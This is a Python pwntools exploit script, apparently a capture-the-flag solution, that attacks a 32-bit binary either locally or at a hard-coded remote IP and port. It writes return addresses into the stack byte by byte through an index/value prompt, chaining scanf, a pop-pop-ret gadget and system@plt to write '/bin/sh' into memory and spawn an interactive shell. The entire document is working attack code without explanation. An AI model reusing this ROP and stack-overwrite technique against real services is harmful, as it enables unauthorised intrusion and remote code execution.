#!/usr/bin/env python
from pwn import *

DEBUG=1
if DEBUG:
	p = process("./bin/A44DD70F78267A1CCBEE12FE0D490AD6")
	context.log_level = 'debug'
else:
	p = remote("106.75.37.29", 10000)


def resetCounter():
	p.recvuntil("input index:")
	p.sendline("28")
	p.recvuntil("input value:")
	p.sendline(str(0x0))

def writeAddress(start, addr):
	data = hex(addr)[2:].rjust(8,'0')
	print data
	p.recvuntil("input index:")
	p.sendline(str(start))
	p.recvuntil("input value:")
	p.sendline(str(int(data[6:],16)))

	p.recvuntil("input index:")
	p.sendline(str(start+1))
	p.recvuntil("input value:")
	p.sendline(str(int(data[4:6],16)))

	p.recvuntil("input index:")
	p.sendline(str(start+2))
	p.recvuntil("input value:")
	p.sendline(str(int(data[2:4],16)))

	p.recvuntil("input index:")
	p.sendline(str(start+3))
	p.recvuntil("input value:")
	p.sendline(str(int(data[:2],16)))

def setCounter():
	p.recvuntil("input index:")
	p.sendline("28")
	p.recvuntil("input value:")
	p.sendline(str(0x10))


def exp():
	raw_input("bp")
	writeAddress(44, 0x08048420) #scanf
	writeAddress(48, 0x080486ae) #pop pop ret
	resetCounter()

	writeAddress(52, 0x080486ed) # %d
	writeAddress(56, 0x0804a200) # /bin
	resetCounter()

	writeAddress(60, 0x08048420) #scanf
	writeAddress(64, 0x080486ae) #pop pop ret
	resetCounter()

	writeAddress(68, 0x080486ed) #%d
	writeAddress(72, 0x0804a204) #/sh
	resetCounter()

	writeAddress(76, 0x080483e0) #plt@system
	writeAddress(84, 0x0804a200)

	raw_input("bp2")
	setCounter()

	p.sendline(str(u32('/bin')))
	p.sendline(str(u32('/sh\x00')))

	p.interactive()

exp()